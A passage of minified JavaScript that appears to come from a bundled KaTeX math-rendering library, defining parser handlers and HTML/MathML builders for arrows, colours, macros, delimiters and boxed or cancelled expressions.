e.setAttribute("width","+0.6em"),e.setAttribute("lspace","0.3em"),e},"paddedNode");Mt({type:"xArrow",names:["\\xleftarrow","\\xrightarrow","\\xLeftarrow","\\xRightarrow","\\xleftrightarrow","\\xLeftrightarrow","\\xhookleftarrow","\\xhookrightarrow","\\xmapsto","\\xrightharpoondown","\\xrightharpoonup","\\xleftharpoondown","\\xleftharpoonup","\\xrightleftharpoons","\\xleftrightharpoons","\\xlongequal","\\xtwoheadrightarrow","\\xtwoheadleftarrow","\\xtofrom","\\xrightleftarrows","\\xrightequilibrium","\\xleftequilibrium","\\\\cdrightarrow","\\\\cdleftarrow","\\\\cdlongequal"],props:{numArgs:1,numOptionalArgs:1},handler(t,e,r){var{parser:n,funcName:i}=t;return{type:"xArrow",mode:n.mode,label:i,body:e[0],below:r[0]}},htmlBuilder(t,e){var r=e.style,n=e.havingStyle(r.sup()),i=$e.wrapFragment(Hr(t.body,n,e),e),a=t.label.slice(0,2)==="\\x"?"x":"cd";i.classes.push(a+"-arrow-pad");var s;t.below&&(n=e.havingStyle(r.sub()),s=$e.wrapFragment(Hr(t.below,n,e),e),s.classes.push(a+"-arrow-pad"));var l=pu.svgSpan(t,e),u=-e.fontMetrics().axisHeight+.5*l.height,h=-e.fontMetrics().axisHeight-.5*l.height-.111;(i.depth>.25||t.label==="\\xleftequilibrium")&&(h-=i.depth);var f;if(s){var d=-e.fontMetrics().axisHeight+s.height+.5*l.height+.111;f=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:h},{type:"elem",elem:l,shift:u},{type:"elem",elem:s,shift:d}]},e)}else f=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:i,shift:h},{type:"elem",elem:l,shift:u}]},e);return f.children[0].children[0].children[1].classes.push("svg-align"),$e.makeSpan(["mrel","x-arrow"],[f],e)},mathmlBuilder(t,e){var r=pu.mathMLnode(t.label);r.setAttribute("minsize",t.label.charAt(0)==="x"?"1.75em":"3.0em");var n;if(t.body){var i=m3(wn(t.body,e));if(t.below){var a=m3(wn(t.below,e));n=new mt.MathNode("munderover",[r,a,i])}else n=new mt.MathNode("mover",[r,i])}else if(t.below){var s=m3(wn(t.below,e));n=new mt.MathNode("munder",[r,s])}else n=m3(),n=new mt.MathNode("mover",[r,n]);return n}});rwe=$e.makeSpan;o(uU,"htmlBuilder$9");o(hU,"mathmlBuilder$8");Mt({type:"mclass",names:["\\mathord","\\mathbin","\\mathrel","\\mathopen","\\mathclose","\\mathpunct","\\mathinner"],props:{numArgs:1,primitive:!0},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"mclass",mode:r.mode,mclass:"m"+n.slice(5),body:gi(i),isCharacterBox:er.isCharacterBox(i)}},htmlBuilder:uU,mathmlBuilder:hU});L3=o(t=>{var e=t.type==="ordgroup"&&t.body.length?t.body[0]:t;return e.type==="atom"&&(e.family==="bin"||e.family==="rel")?"m"+e.family:"mord"},"binrelClass");Mt({type:"mclass",names:["\\@binrel"],props:{numArgs:2},handler(t,e){var{parser:r}=t;return{type:"mclass",mode:r.mode,mclass:L3(e[0]),body:gi(e[1]),isCharacterBox:er.isCharacterBox(e[1])}}});Mt({type:"mclass",names:["\\stackrel","\\overset","\\underset"],props:{numArgs:2},handler(t,e){var{parser:r,funcName:n}=t,i=e[1],a=e[0],s;n!=="\\stackrel"?s=L3(i):s="mrel";var l={type:"op",mode:i.mode,limits:!0,alwaysHandleSupSub:!0,parentIsSupSub:!1,symbol:!1,suppressBaseShift:n!=="\\stackrel",body:gi(i)},u={type:"supsub",mode:a.mode,base:l,sup:n==="\\underset"?null:a,sub:n==="\\underset"?a:null};return{type:"mclass",mode:r.mode,mclass:s,body:[u],isCharacterBox:er.isCharacterBox(u)}},htmlBuilder:uU,mathmlBuilder:hU});Mt({type:"pmb",names:["\\pmb"],props:{numArgs:1,allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"pmb",mode:r.mode,mclass:L3(e[0]),body:gi(e[0])}},htmlBuilder(t,e){var r=Ii(t.body,e,!0),n=$e.makeSpan([t.mclass],r,e);return n.style.textShadow="0.02em 0.01em 0.04px",n},mathmlBuilder(t,e){var r=As(t.body,e),n=new mt.MathNode("mstyle",r);return n.setAttribute("style","text-shadow: 0.02em 0.01em 0.04px"),n}});nwe={">":"\\\\cdrightarrow","<":"\\\\cdleftarrow","=":"\\\\cdlongequal",A:"\\uparrow",V:"\\downarrow","|":"\\Vert",".":"no arrow"},SV=o(()=>({type:"styling",body:[],mode:"math",style:"display"}),"newCell"),CV=o(t=>t.type==="textord"&&t.text==="@","isStartOfArrow"),iwe=o((t,e)=>(t.type==="mathord"||t.type==="atom")&&t.text===e,"isLabelEnd");o(awe,"cdArrow");o(swe,"parseCD");Mt({type:"cdlabel",names:["\\\\cdleft","\\\\cdright"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t;return{type:"cdlabel",mode:r.mode,side:n.slice(4),label:e[0]}},htmlBuilder(t,e){var r=e.havingStyle(e.style.sup()),n=$e.wrapFragment(Hr(t.label,r,e),e);return n.classes.push("cd-label-"+t.side),n.style.bottom=St(.8-n.depth),n.height=0,n.depth=0,n},mathmlBuilder(t,e){var r=new mt.MathNode("mrow",[wn(t.label,e)]);return r=new mt.MathNode("mpadded",[r]),r.setAttribute("width","0"),t.side==="left"&&r.setAttribute("lspace","-1width"),r.setAttribute("voffset","0.7em"),r=new mt.MathNode("mstyle",[r]),r.setAttribute("displaystyle","false"),r.setAttribute("scriptlevel","1"),r}});Mt({type:"cdlabelparent",names:["\\\\cdparent"],props:{numArgs:1},handler(t,e){var{parser:r}=t;return{type:"cdlabelparent",mode:r.mode,fragment:e[0]}},htmlBuilder(t,e){var r=$e.wrapFragment(Hr(t.fragment,e),e);return r.classes.push("cd-vert-arrow"),r},mathmlBuilder(t,e){return new mt.MathNode("mrow",[wn(t.fragment,e)])}});Mt({type:"textord",names:["\\@char"],props:{numArgs:1,allowedInText:!0},handler(t,e){for(var{parser:r}=t,n=Tr(e[0],"ordgroup"),i=n.body,a="",s=0;s=1114111)throw new gt("\\@char with invalid code point "+a);return u<=65535?h=String.fromCharCode(u):(u-=65536,h=String.fromCharCode((u>>10)+55296,(u&1023)+56320)),{type:"textord",mode:r.mode,text:h}}});fU=o((t,e)=>{var r=Ii(t.body,e.withColor(t.color),!1);return $e.makeFragment(r)},"htmlBuilder$8"),dU=o((t,e)=>{var r=As(t.body,e.withColor(t.color)),n=new mt.MathNode("mstyle",r);return n.setAttribute("mathcolor",t.color),n},"mathmlBuilder$7");Mt({type:"color",names:["\\textcolor"],props:{numArgs:2,allowedInText:!0,argTypes:["color","original"]},handler(t,e){var{parser:r}=t,n=Tr(e[0],"color-token").color,i=e[1];return{type:"color",mode:r.mode,color:n,body:gi(i)}},htmlBuilder:fU,mathmlBuilder:dU});Mt({type:"color",names:["\\color"],props:{numArgs:1,allowedInText:!0,argTypes:["color"]},handler(t,e){var{parser:r,breakOnTokenText:n}=t,i=Tr(e[0],"color-token").color;r.gullet.macros.set("\\current@color",i);var a=r.parseExpression(!0,n);return{type:"color",mode:r.mode,color:i,body:a}},htmlBuilder:fU,mathmlBuilder:dU});Mt({type:"cr",names:["\\\\"],props:{numArgs:0,numOptionalArgs:0,allowedInText:!0},handler(t,e,r){var{parser:n}=t,i=n.gullet.future().text==="["?n.parseSizeGroup(!0):null,a=!n.settings.displayMode||!n.settings.useStrictBehavior("newLineInDisplayMode","In LaTeX, \\\\ or \\newline does nothing in display mode");return{type:"cr",mode:n.mode,newLine:a,size:i&&Tr(i,"size").value}},htmlBuilder(t,e){var r=$e.makeSpan(["mspace"],[],e);return t.newLine&&(r.classes.push("newline"),t.size&&(r.style.marginTop=St(ii(t.size,e)))),r},mathmlBuilder(t,e){var r=new mt.MathNode("mspace");return t.newLine&&(r.setAttribute("linebreak","newline"),t.size&&r.setAttribute("height",St(ii(t.size,e)))),r}});rA={"\\global":"\\global","\\long":"\\\\globallong","\\\\globallong":"\\\\globallong","\\def":"\\gdef","\\gdef":"\\gdef","\\edef":"\\xdef","\\xdef":"\\xdef","\\let":"\\\\globallet","\\futurelet":"\\\\globalfuture"},pU=o(t=>{var e=t.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(e))throw new gt("Expected a control sequence",t);return e},"checkControlSequence"),owe=o(t=>{var e=t.gullet.popToken();return e.text==="="&&(e=t.gullet.popToken(),e.text===" "&&(e=t.gullet.popToken())),e},"getRHS"),mU=o((t,e,r,n)=>{var i=t.gullet.macros.get(r.text);i==null&&(r.noexpand=!0,i={tokens:[r],numArgs:0,unexpandable:!t.gullet.isExpandable(r.text)}),t.gullet.macros.set(e,i,n)},"letCommand");Mt({type:"internal",names:["\\global","\\long","\\\\globallong"],props:{numArgs:0,allowedInText:!0},handler(t){var{parser:e,funcName:r}=t;e.consumeSpaces();var n=e.fetch();if(rA[n.text])return(r==="\\global"||r==="\\\\globallong")&&(n.text=rA[n.text]),Tr(e.parseFunction(),"internal");throw new gt("Invalid token after macro prefix",n)}});Mt({type:"internal",names:["\\def","\\gdef","\\edef","\\xdef"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=e.gullet.popToken(),i=n.text;if(/^(?:[\\{}$&#^_]|EOF)$/.test(i))throw new gt("Expected a control sequence",n);for(var a=0,s,l=[[]];e.gullet.future().text!=="{";)if(n=e.gullet.popToken(),n.text==="#"){if(e.gullet.future().text==="{"){s=e.gullet.future(),l[a].push("{");break}if(n=e.gullet.popToken(),!/^[1-9]$/.test(n.text))throw new gt('Invalid argument number "'+n.text+'"');if(parseInt(n.text)!==a+1)throw new gt('Argument number "'+n.text+'" out of order');a++,l.push([])}else{if(n.text==="EOF")throw new gt("Expected a macro definition");l[a].push(n.text)}var{tokens:u}=e.gullet.consumeArg();return s&&u.unshift(s),(r==="\\edef"||r==="\\xdef")&&(u=e.gullet.expandTokens(u),u.reverse()),e.gullet.macros.set(i,{tokens:u,numArgs:a,delimiters:l},r===rA[r]),{type:"internal",mode:e.mode}}});Mt({type:"internal",names:["\\let","\\\\globallet"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=pU(e.gullet.popToken());e.gullet.consumeSpaces();var i=owe(e);return mU(e,n,i,r==="\\\\globallet"),{type:"internal",mode:e.mode}}});Mt({type:"internal",names:["\\futurelet","\\\\globalfuture"],props:{numArgs:0,allowedInText:!0,primitive:!0},handler(t){var{parser:e,funcName:r}=t,n=pU(e.gullet.popToken()),i=e.gullet.popToken(),a=e.gullet.popToken();return mU(e,n,a,r==="\\\\globalfuture"),e.gullet.pushToken(a),e.gullet.pushToken(i),{type:"internal",mode:e.mode}}});qy=o(function(e,r,n){var i=Nn.math[e]&&Nn.math[e].replace,a=lA(i||e,r,n);if(!a)throw new Error("Unsupported symbol "+e+" and font size "+r+".");return a},"getMetrics"),pA=o(function(e,r,n,i){var a=n.havingBaseStyle(r),s=$e.makeSpan(i.concat(a.sizingClasses(n)),[e],n),l=a.sizeMultiplier/n.sizeMultiplier;return s.height*=l,s.depth*=l,s.maxFontSize=a.sizeMultiplier,s},"styleWrap"),gU=o(function(e,r,n){var i=r.havingBaseStyle(n),a=(1-r.sizeMultiplier/i.sizeMultiplier)*r.fontMetrics().axisHeight;e.classes.push("delimcenter"),e.style.top=St(a),e.height-=a,e.depth+=a},"centerSpan"),lwe=o(function(e,r,n,i,a,s){var l=$e.makeSymbol(e,"Main-Regular",a,i),u=pA(l,r,i,s);return n&&gU(u,i,r),u},"makeSmallDelim"),cwe=o(function(e,r,n,i){return $e.makeSymbol(e,"Size"+r+"-Regular",n,i)},"mathrmSize"),yU=o(function(e,r,n,i,a,s){var l=cwe(e,r,a,i),u=pA($e.makeSpan(["delimsizing","size"+r],[l],i),nr.TEXT,i,s);return n&&gU(u,i,nr.TEXT),u},"makeLargeDelim"),z7=o(function(e,r,n){var i;r==="Size1-Regular"?i="delim-size1":i="delim-size4";var a=$e.makeSpan(["delimsizinginner",i],[$e.makeSpan([],[$e.makeSymbol(e,r,n)])]);return{type:"elem",elem:a}},"makeGlyphSpan"),G7=o(function(e,r,n){var i=Ql["Size4-Regular"][e.charCodeAt(0)]?Ql["Size4-Regular"][e.charCodeAt(0)][4]:Ql["Size1-Regular"][e.charCodeAt(0)][4],a=new Zl("inner",yTe(e,Math.round(1e3*r))),s=new dl([a],{width:St(i),height:St(r),style:"width:"+St(i),viewBox:"0 0 "+1e3*i+" "+Math.round(1e3*r),preserveAspectRatio:"xMinYMin"}),l=$e.makeSvgSpan([],[s],n);return l.height=r,l.style.height=St(r),l.style.width=St(i),{type:"elem",elem:l}},"makeInner"),nA=.008,g3={type:"kern",size:-1*nA},uwe=["|","\\lvert","\\rvert","\\vert"],hwe=["\\|","\\lVert","\\rVert","\\Vert"],vU=o(function(e,r,n,i,a,s){var l,u,h,f,d="",p=0;l=h=f=e,u=null;var m="Size1-Regular";e==="\\uparrow"?h=f="\u23D0":e==="\\Uparrow"?h=f="\u2016":e==="\\downarrow"?l=h="\u23D0":e==="\\Downarrow"?l=h="\u2016":e==="\\updownarrow"?(l="\\uparrow",h="\u23D0",f="\\downarrow"):e==="\\Updownarrow"?(l="\\Uparrow",h="\u2016",f="\\Downarrow"):er.contains(uwe,e)?(h="\u2223",d="vert",p=333):er.contains(hwe,e)?(h="\u2225",d="doublevert",p=556):e==="["||e==="\\lbrack"?(l="\u23A1",h="\u23A2",f="\u23A3",m="Size4-Regular",d="lbrack",p=667):e==="]"||e==="\\rbrack"?(l="\u23A4",h="\u23A5",f="\u23A6",m="Size4-Regular",d="rbrack",p=667):e==="\\lfloor"||e==="\u230A"?(h=l="\u23A2",f="\u23A3",m="Size4-Regular",d="lfloor",p=667):e==="\\lceil"||e==="\u2308"?(l="\u23A1",h=f="\u23A2",m="Size4-Regular",d="lceil",p=667):e==="\\rfloor"||e==="\u230B"?(h=l="\u23A5",f="\u23A6",m="Size4-Regular",d="rfloor",p=667):e==="\\rceil"||e==="\u2309"?(l="\u23A4",h=f="\u23A5",m="Size4-Regular",d="rceil",p=667):e==="("||e==="\\lparen"?(l="\u239B",h="\u239C",f="\u239D",m="Size4-Regular",d="lparen",p=875):e===")"||e==="\\rparen"?(l="\u239E",h="\u239F",f="\u23A0",m="Size4-Regular",d="rparen",p=875):e==="\\{"||e==="\\lbrace"?(l="\u23A7",u="\u23A8",f="\u23A9",h="\u23AA",m="Size4-Regular"):e==="\\}"||e==="\\rbrace"?(l="\u23AB",u="\u23AC",f="\u23AD",h="\u23AA",m="Size4-Regular"):e==="\\lgroup"||e==="\u27EE"?(l="\u23A7",f="\u23A9",h="\u23AA",m="Size4-Regular"):e==="\\rgroup"||e==="\u27EF"?(l="\u23AB",f="\u23AD",h="\u23AA",m="Size4-Regular"):e==="\\lmoustache"||e==="\u23B0"?(l="\u23A7",f="\u23AD",h="\u23AA",m="Size4-Regular"):(e==="\\rmoustache"||e==="\u23B1")&&(l="\u23AB",f="\u23A9",h="\u23AA",m="Size4-Regular");var g=qy(l,m,a),y=g.height+g.depth,v=qy(h,m,a),x=v.height+v.depth,b=qy(f,m,a),T=b.height+b.depth,S=0,w=1;if(u!==null){var k=qy(u,m,a);S=k.height+k.depth,w=2}var A=y+T+S,C=Math.max(0,Math.ceil((r-A)/(w*x))),R=A+C*w*x,I=i.fontMetrics().axisHeight;n&&(I*=i.sizeMultiplier);var L=R/2-I,E=[];if(d.length>0){var D=R-y-T,_=Math.round(R*1e3),O=vTe(d,Math.round(D*1e3)),M=new Zl(d,O),P=(p/1e3).toFixed(3)+"em",B=(_/1e3).toFixed(3)+"em",F=new dl([M],{width:P,height:B,viewBox:"0 0 "+p+" "+_}),G=$e.makeSvgSpan([],[F],i);G.height=_/1e3,G.style.width=P,G.style.height=B,E.push({type:"elem",elem:G})}else{if(E.push(z7(f,m,a)),E.push(g3),u===null){var $=R-y-T+2*nA;E.push(G7(h,$,i))}else{var U=(R-y-T-S)/2+2*nA;E.push(G7(h,U,i)),E.push(g3),E.push(z7(u,m,a)),E.push(g3),E.push(G7(h,U,i))}E.push(g3),E.push(z7(l,m,a))}var j=i.havingBaseStyle(nr.TEXT),te=$e.makeVList({positionType:"bottom",positionData:L,children:E},j);return pA($e.makeSpan(["delimsizing","mult"],[te],j),nr.TEXT,i,s)},"makeStackedDelim"),V7=80,U7=.08,H7=o(function(e,r,n,i,a){var s=gTe(e,i,n),l=new Zl(e,s),u=new dl([l],{width:"400em",height:St(r),viewBox:"0 0 400000 "+n,preserveAspectRatio:"xMinYMin slice"});return $e.makeSvgSpan(["hide-tail"],[u],a)},"sqrtSvg"),fwe=o(function(e,r){var n=r.havingBaseSizing(),i=wU("\\surd",e*n.sizeMultiplier,TU,n),a=n.sizeMultiplier,s=Math.max(0,r.minRuleThickness-r.fontMetrics().sqrtRuleThickness),l,u=0,h=0,f=0,d;return i.type==="small"?(f=1e3+1e3*s+V7,e<1?a=1:e<1.4&&(a=.7),u=(1+s+U7)/a,h=(1+s)/a,l=H7("sqrtMain",u,f,s,r),l.style.minWidth="0.853em",d=.833/a):i.type==="large"?(f=(1e3+V7)*Yy[i.size],h=(Yy[i.size]+s)/a,u=(Yy[i.size]+s+U7)/a,l=H7("sqrtSize"+i.size,u,f,s,r),l.style.minWidth="1.02em",d=1/a):(u=e+s+U7,h=e+s,f=Math.floor(1e3*e+s)+V7,l=H7("sqrtTall",u,f,s,r),l.style.minWidth="0.742em",d=1.056),l.height=h,l.style.height=St(u),{span:l,advanceWidth:d,ruleWidth:(r.fontMetrics().sqrtRuleThickness+s)*a}},"makeSqrtImage"),xU=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230A","\u230B","\\lceil","\\rceil","\u2308","\u2309","\\surd"],dwe=["\\uparrow","\\downarrow","\\updownarrow","\\Uparrow","\\Downarrow","\\Updownarrow","|","\\|","\\vert","\\Vert","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27EE","\u27EF","\\lmoustache","\\rmoustache","\u23B0","\u23B1"],bU=["<",">","\\langle","\\rangle","/","\\backslash","\\lt","\\gt"],Yy=[0,1.2,1.8,2.4,3],pwe=o(function(e,r,n,i,a){if(e==="<"||e==="\\lt"||e==="\u27E8"?e="\\langle":(e===">"||e==="\\gt"||e==="\u27E9")&&(e="\\rangle"),er.contains(xU,e)||er.contains(bU,e))return yU(e,r,!1,n,i,a);if(er.contains(dwe,e))return vU(e,Yy[r],!1,n,i,a);throw new gt("Illegal delimiter: '"+e+"'")},"makeSizedDelim"),mwe=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4}],gwe=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"stack"}],TU=[{type:"small",style:nr.SCRIPTSCRIPT},{type:"small",style:nr.SCRIPT},{type:"small",style:nr.TEXT},{type:"large",size:1},{type:"large",size:2},{type:"large",size:3},{type:"large",size:4},{type:"stack"}],ywe=o(function(e){if(e.type==="small")return"Main-Regular";if(e.type==="large")return"Size"+e.size+"-Regular";if(e.type==="stack")return"Size4-Regular";throw new Error("Add support for delim type '"+e.type+"' here.")},"delimTypeToFont"),wU=o(function(e,r,n,i){for(var a=Math.min(2,3-i.style.size),s=a;sr)return n[s]}return n[n.length-1]},"traverseSequence"),kU=o(function(e,r,n,i,a,s){e==="<"||e==="\\lt"||e==="\u27E8"?e="\\langle":(e===">"||e==="\\gt"||e==="\u27E9")&&(e="\\rangle");var l;er.contains(bU,e)?l=mwe:er.contains(xU,e)?l=TU:l=gwe;var u=wU(e,r,l,i);return u.type==="small"?lwe(e,u.style,n,i,a,s):u.type==="large"?yU(e,u.size,n,i,a,s):vU(e,r,n,i,a,s)},"makeCustomSizedDelim"),vwe=o(function(e,r,n,i,a,s){var l=i.fontMetrics().axisHeight*i.sizeMultiplier,u=901,h=5/i.fontMetrics().ptPerEm,f=Math.max(r-l,n+l),d=Math.max(f/500*u,2*f-h);return kU(e,d,!0,i,a,s)},"makeLeftRightDelim"),fu={sqrtImage:fwe,sizedDelim:pwe,sizeToMaxHeight:Yy,customSizedDelim:kU,leftRightDelim:vwe},AV={"\\bigl":{mclass:"mopen",size:1},"\\Bigl":{mclass:"mopen",size:2},"\\biggl":{mclass:"mopen",size:3},"\\Biggl":{mclass:"mopen",size:4},"\\bigr":{mclass:"mclose",size:1},"\\Bigr":{mclass:"mclose",size:2},"\\biggr":{mclass:"mclose",size:3},"\\Biggr":{mclass:"mclose",size:4},"\\bigm":{mclass:"mrel",size:1},"\\Bigm":{mclass:"mrel",size:2},"\\biggm":{mclass:"mrel",size:3},"\\Biggm":{mclass:"mrel",size:4},"\\big":{mclass:"mord",size:1},"\\Big":{mclass:"mord",size:2},"\\bigg":{mclass:"mord",size:3},"\\Bigg":{mclass:"mord",size:4}},xwe=["(","\\lparen",")","\\rparen","[","\\lbrack","]","\\rbrack","\\{","\\lbrace","\\}","\\rbrace","\\lfloor","\\rfloor","\u230A","\u230B","\\lceil","\\rceil","\u2308","\u2309","<",">","\\langle","\u27E8","\\rangle","\u27E9","\\lt","\\gt","\\lvert","\\rvert","\\lVert","\\rVert","\\lgroup","\\rgroup","\u27EE","\u27EF","\\lmoustache","\\rmoustache","\u23B0","\u23B1","/","\\backslash","|","\\vert","\\|","\\Vert","\\uparrow","\\Uparrow","\\downarrow","\\Downarrow","\\updownarrow","\\Updownarrow","."];o(R3,"checkDelimiter");Mt({type:"delimsizing",names:["\\bigl","\\Bigl","\\biggl","\\Biggl","\\bigr","\\Bigr","\\biggr","\\Biggr","\\bigm","\\Bigm","\\biggm","\\Biggm","\\big","\\Big","\\bigg","\\Bigg"],props:{numArgs:1,argTypes:["primitive"]},handler:o((t,e)=>{var r=R3(e[0],t);return{type:"delimsizing",mode:t.parser.mode,size:AV[t.funcName].size,mclass:AV[t.funcName].mclass,delim:r.text}},"handler"),htmlBuilder:o((t,e)=>t.delim==="."?$e.makeSpan([t.mclass]):fu.sizedDelim(t.delim,t.size,e,t.mode,[t.mclass]),"htmlBuilder"),mathmlBuilder:o(t=>{var e=[];t.delim!=="."&&e.push(Lo(t.delim,t.mode));var r=new mt.MathNode("mo",e);t.mclass==="mopen"||t.mclass==="mclose"?r.setAttribute("fence","true"):r.setAttribute("fence","false"),r.setAttribute("stretchy","true");var n=St(fu.sizeToMaxHeight[t.size]);return r.setAttribute("minsize",n),r.setAttribute("maxsize",n),r},"mathmlBuilder")});o(_V,"assertParsed");Mt({type:"leftright-right",names:["\\right"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=t.parser.gullet.macros.get("\\current@color");if(r&&typeof r!="string")throw new gt("\\current@color set to non-string in \\right");return{type:"leftright-right",mode:t.parser.mode,delim:R3(e[0],t).text,color:r}},"handler")});Mt({type:"leftright",names:["\\left"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=R3(e[0],t),n=t.parser;++n.leftrightDepth;var i=n.parseExpression(!1);--n.leftrightDepth,n.expect("\\right",!1);var a=Tr(n.parseFunction(),"leftright-right");return{type:"leftright",mode:n.mode,body:i,left:r.text,right:a.delim,rightColor:a.color}},"handler"),htmlBuilder:o((t,e)=>{_V(t);for(var r=Ii(t.body,e,!0,["mopen","mclose"]),n=0,i=0,a=!1,s=0;s{_V(t);var r=As(t.body,e);if(t.left!=="."){var n=new mt.MathNode("mo",[Lo(t.left,t.mode)]);n.setAttribute("fence","true"),r.unshift(n)}if(t.right!=="."){var i=new mt.MathNode("mo",[Lo(t.right,t.mode)]);i.setAttribute("fence","true"),t.rightColor&&i.setAttribute("mathcolor",t.rightColor),r.push(i)}return uA(r)},"mathmlBuilder")});Mt({type:"middle",names:["\\middle"],props:{numArgs:1,primitive:!0},handler:o((t,e)=>{var r=R3(e[0],t);if(!t.parser.leftrightDepth)throw new gt("\\middle without preceding \\left",r);return{type:"middle",mode:t.parser.mode,delim:r.text}},"handler"),htmlBuilder:o((t,e)=>{var r;if(t.delim===".")r=Zy(e,[]);else{r=fu.sizedDelim(t.delim,1,e,t.mode,[]);var n={delim:t.delim,options:e};r.isMiddle=n}return r},"htmlBuilder"),mathmlBuilder:o((t,e)=>{var r=t.delim==="\\vert"||t.delim==="|"?Lo("|","text"):Lo(t.delim,t.mode),n=new mt.MathNode("mo",[r]);return n.setAttribute("fence","true"),n.setAttribute("lspace","0.05em"),n.setAttribute("rspace","0.05em"),n},"mathmlBuilder")});mA=o((t,e)=>{var r=$e.wrapFragment(Hr(t.body,e),e),n=t.label.slice(1),i=e.sizeMultiplier,a,s=0,l=er.isCharacterBox(t.body);if(n==="sout")a=$e.makeSpan(["stretchy","sout"]),a.height=e.fontMetrics().defaultRuleThickness/i,s=-.5*e.fontMetrics().xHeight;else if(n==="phase"){var u=ii({number:.6,unit:"pt"},e),h=ii({number:.35,unit:"ex"},e),f=e.havingBaseSizing();i=i/f.sizeMultiplier;var d=r.height+r.depth+u+h;r.style.paddingLeft=St(d/2+u);var p=Math.floor(1e3*d*i),m=pTe(p),g=new dl([new Zl("phase",m)],{width:"400em",height:St(p/1e3),viewBox:"0 0 400000 "+p,preserveAspectRatio:"xMinYMin slice"});a=$e.makeSvgSpan(["hide-tail"],[g],e),a.style.height=St(d),s=r.depth+u+h}else{/cancel/.test(n)?l||r.classes.push("cancel-pad"):n==="angl"?r.classes.push("anglpad"):r.classes.push("boxpad");var y=0,v=0,x=0;/box/.test(n)?(x=Math.max(e.fontMetrics().fboxrule,e.minRuleThickness),y=e.fontMetrics().fboxsep+(n==="colorbox"?0:x),v=y):n==="angl"?(x=Math.max(e.fontMetrics().defaultRuleThickness,e.minRuleThickness),y=4*x,v=Math.max(0,.25-r.depth)):(y=l?.2:0,v=y),a=pu.encloseSpan(r,n,y,v,e),/fbox|boxed|fcolorbox/.test(n)?(a.style.borderStyle="solid",a.style.borderWidth=St(x)):n==="angl"&&x!==.049&&(a.style.borderTopWidth=St(x),a.style.borderRightWidth=St(x)),s=r.depth+v,t.backgroundColor&&(a.style.backgroundColor=t.backgroundColor,t.borderColor&&(a.style.borderColor=t.borderColor))}var b;if(t.backgroundColor)b=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:a,shift:s},{type:"elem",elem:r,shift:0}]},e);else{var T=/cancel|phase/.test(n)?["svg-align"]:[];b=$e.makeVList({positionType:"individualShift",children:[{type:"elem",elem:r,shift:0},{type:"elem",elem:a,shift:s,wrapperClasses:T}]},e)}return/cancel/.test(n)&&(b.height=r.height,b.depth=r.depth),/cancel/.test(n)&&!l?$e.makeSpan(["mord","cancel-lap"],[b],e):$e.makeSpan(["mord"],[b],e)},"htmlBuilder$7"),gA=o((t,e)=>{var r=0,n=new mt.MathNode(t.label.indexOf("colorbox")>-1?"mpadded":"menclose",[wn(t.body,e)]);switch(t.label){case"\\cancel":n.setAttribute("notation","updiagonalstrike");break;case"\\bcancel":n.setAttribute("notation","downdiagonalstrike");break;case"\\phase":n.setAttribute("notation","phasorangle");break;case"\\sout":n.setAttribute("notation","horizontalstrike");break;case"\\fbox":n.setAttribute("notation","box");break;case"\\angl":n.setAttribute("notation","actuarial");break;case"\\fcolorbox":case"\\colorbox":if(r=e.fontMetrics().fboxsep*e.fontMetrics().ptPerEm,n.setAttribute("width","+"+2*r+"pt"),n.setAttribute("height","+"+2*r+"pt"),n.setAttribute("lspace",r+"pt"),n.setAttribute("voffset",r+"pt"),t.label==="\\fcolorbox"){var i=Math.max(e.fontMetrics().fboxrule,e.minRuleThickness);n.setAttribute("style","border: "+i+"em solid "+String(t.borderColor))}break;case"\\xcancel":n.setAttribute("notation","updiagonalstrike downdiagonalstrike");break}return t.backgroundColor&&n.setAttribute("mathbackground",t.backgroundColor),n},"mathmlBuilder$6");Mt({type:"enclose",names:["\\colorbox"],props:{numArgs:2,allowedInText:!0,argTypes:["color","text"]},handler(t,e,r){var{parser:n,funcName:i}=t,a=Tr(e[0],"color-token").color,s=e[1];return{type:"enclose",mode:n.mode,label:i,backgroundColor:a,body:s}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\fcolorbox"],props:{numArgs:3,allowedInText:!0,argTypes:["color","color","text"]},handler(t,e,r){var{parser:n,funcName:i}=t,a=Tr(e[0],"color-token").color,s=Tr(e[1],"color-token").color,l=e[2];return{type:"enclose",mode:n.mode,label:i,backgroundColor:s,borderColor:a,body:l}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\fbox"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!0},handler(t,e){var{parser:r}=t;return{type:"enclose",mode:r.mode,label:"\\fbox",body:e[0]}}});Mt({type:"enclose",names:["\\cancel","\\bcancel","\\xcancel","\\sout","\\phase"],props:{numArgs:1},handler(t,e){var{parser:r,funcName:n}=t,i=e[0];return{type:"enclose",mode:r.mode,label:n,body:i}},htmlBuilder:mA,mathmlBuilder:gA});Mt({type:"enclose",names:["\\angl"],props:{numArgs:1,argTypes:["hbox"],allowedInText:!1},handler(t,e){var{parser:r}=t;return{type:"enclose",mode:r.mode,label:"\\angl",body:e[0]}}});EU={};o(Jl,"defineEnvironment");SU={};o(ce,"defineMacro");o(DV,"getHLines");N3=o(t=>{var e=t.parser.settings;if(!e.displayMode)throw new gt("{"+t.envName+"} can be used only in display mode.")},"validateAmsEnvironmentContext");o(yA,"getAutoTag");o(wh,"parseArray");o(vA,"dCellStyle");ec=o(function(e,r){var 